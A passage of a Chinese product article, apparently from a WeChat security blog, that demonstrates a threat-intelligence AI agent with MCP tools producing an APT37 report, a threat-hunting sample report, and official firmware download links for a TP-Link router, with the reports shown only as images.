leaf="">将需求发送后，智能体会重新制定一份方案。如图5所示，在新的方案中已经包含了提的新需求：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005182" alt="image-20250904104901584" class="rich_pages wxw-img" data-ratio="0.6817640047675805" data-type="png" data-w="839" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a7b3d366&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0iaoycdVR4mRnicr3GelZvOqicQokTXr0O3m3kS3SAoiaxhz8Z8DJQtsyrw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图5 按照要求重新制定方案</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">确认方案后，智能体将进入</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">执行模式</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在页面左侧</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">天穹智能体</span></strong><span leaf="">部分，我们可以看到智能体的工具调用信息，包括工具名、调用参数和工具返回结果，如图6所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005187" alt="image-20250904105140086" class="rich_pages wxw-img" data-ratio="0.7463524130190797" data-type="png" data-w="891" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d0a8e6f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0qicBmUDUEqCHIA0UlUOiaqppJ5ic0vwSeFNqn93BZib0PIK0aZ55Nogycg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图6 工具调用</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在右侧的</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">智能体思维链</span></strong><span leaf="">部分，我们可以看到智能体对每一轮操作的描述和总结，方便随时查看智能体任务进度，如图7所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005188" alt="image-20250904105622266" class="rich_pages wxw-img" data-ratio="0.8031026252983293" data-type="png" data-w="838" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2943022b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd08lLxSOkFHNUdQdakHBianYeYeZkDjrLeJkKyTxuHndgLwPcuE2fKiajw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图7 智能体思维链</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">值得一提的是，本次升级上线了12款MCP工具，涵盖以下四个领域：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">情报检索</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">APT组织画像</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">样本拓线</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">IOC查询</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">后续我们会持续关注与更新，引入更多强大和实用的MCP工具，进一步拓展智能体的能力边界。另外，您可以查看工具调用参数、返回结果和思维链，深入了解MCP工具和智能体。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">任务完成后，右侧将展示完整的分析报告，顶部可复制、全屏查看、下载报告，如图8所示。此前的思维链将默认折叠，可滑动到报告底部展开查看。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005186" alt="image-20250922101555477" class="rich_pages wxw-img" data-ratio="0.10477299185098952" data-type="png" data-w="859" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=953cc346&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0lR0iaAD44sol4EXIoVatqKiblcD3aYpRzu37h7cpTS5nRtXwvWoy5ofQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图8 智能体分析报告</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">以下是智能体生成的完整分析报告，可看到智能体收集了一年以来有关</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">APT37</span></code><span leaf="">组织的情报，给出了详细的攻击时间线，并按照要求对IOC进行进一步拓线分析，如图9所示：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100005209" class="rich_pages wxw-img" data-ratio="0.6787037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=392d44dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0icuY9Eb5jFw51CmpsDyOev71Jt0dQQ5zLdg7JibECR1SxMfbtpry1KaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005190" alt="apt_report_split_2" class="rich_pages wxw-img" data-ratio="0.7077348066298342" data-type="png" data-w="1810" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ad5754fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0qYSbtvL1RosxTHC7BbS2VnmSLds6G8ibricF6yRDs0aQe5vVHVmKEogA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005195" alt="apt_report_split_3" class="rich_pages wxw-img" data-ratio="0.7287292817679558" data-type="png" data-w="1810" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ead8701d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0SC7CImTn0h7icxFSIK4QW4yaK6XuYp5ozCiaicjCJhxJEvzMCg2uicaKxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图9 APT37分析报告</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果对输出报告不满意，可以要求智能体进一步修改，如图10所示，智能体将重新生成报告，此处不再赘述。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005191" alt="image-20250904163455405" class="rich_pages wxw-img" data-ratio="0.18533333333333332" data-type="png" data-w="750" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4403d2b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0ft3tZIOME2YOatYicrJj7bCaEckbreYxzSoBjb8fRX9CEXXSHAAbV1g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图10 答案确认</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">威胁狩猎</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在日常样本分析过程中，我们常常需要搜索特定名称、家族、时间范围等特征的样本，例如：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">🔍 收集近期文件名中包含”名单”、“票”或“简历”的高危样本</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">可以看到，智能体不仅准确列出了样本IOC信息，还按照静态、动态对样本进行分类，并进一步对样本进行了关联分析，输出内容详实可靠，如图11所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005193" alt="hunter_report_split_1" class="rich_pages wxw-img" data-ratio="0.7223828802776171" data-type="jpeg" data-w="1729" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3d06dd54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0Pv3DZZNgOtz9PbzdjvWZbuRbfYnLdxeeNaanD1dXWIax9nPUa10C5A%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005194" alt="hunter_report_split_2" class="rich_pages wxw-img" data-ratio="0.7218045112781954" data-type="jpeg" data-w="1729" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c32ff624&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd03FicC1bREhXQCey51k5Y4ksTibwbtZfceMF07MC20XLe09gwvrj85k5g%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005192" alt="hunter_report_split_3" class="rich_pages wxw-img" data-ratio="0.7165991902834008" data-type="jpeg" data-w="1729" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=eab32e4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0fTVWHkZbeyDcPAXFr596kGuofU4wYwiaAhvErmj0pibpucxLs8Cau3nw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005197" alt="hunter_report_split_4" class="rich_pages wxw-img" data-ratio="0.6431463273568536" data-type="jpeg" data-w="1729" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=84c1e473&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0FMOFhsHgQXBSWf5A2AmeR4mNrnCVvYX4RDvvvpCKaynQ9reblxngVQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图11 威胁狩猎报告</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">固件下载</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">对于IoT设备分析人员而言，精准定位特定型号与版本的官方固件下载地址是开展安全研究的关键前置步骤。例如：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">🔍 查找 TP-Link Archer VR400 固件下载地址</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">智能体成功识别并汇总了该设备多个官方固件版本的下载链接，同时标注了每个固件的文件大小，便于用户快速比对与选择。更重要的是，智能体还对所有链接进行了威胁情报筛查，主动过滤非官方来源、第三方托管或已失效的链接，确保结果安全、可靠、有效，显著提升研究人员的工作效率与安全性，如图12所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005199" alt="固件下载_split_1" class="rich_pages wxw-img" data-ratio="0.6769911504424779" data-type="jpeg" data-w="1808" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b79e4969&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0cQmAB0u2KEkWeg93AzGpicE4QJXJMRPNkgHllRBHn3sS5lXQALrs8Rg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005200" alt="固件下载_split_2" class="rich_pages wxw-img" data-ratio="0.34126106194690264" data-type="jpeg" data-w="1808" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0ceb12e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96k8eBAycMbYTkdwvAbvjfd0BHspqNaeic548KApmfK8fs4QpkodV80fVLgC5ljeDCL7xOfTiaOYoOZg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图12 固件下载报告</span></center><div data-role="title" data-tools="135编辑器" data-id="158385" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: 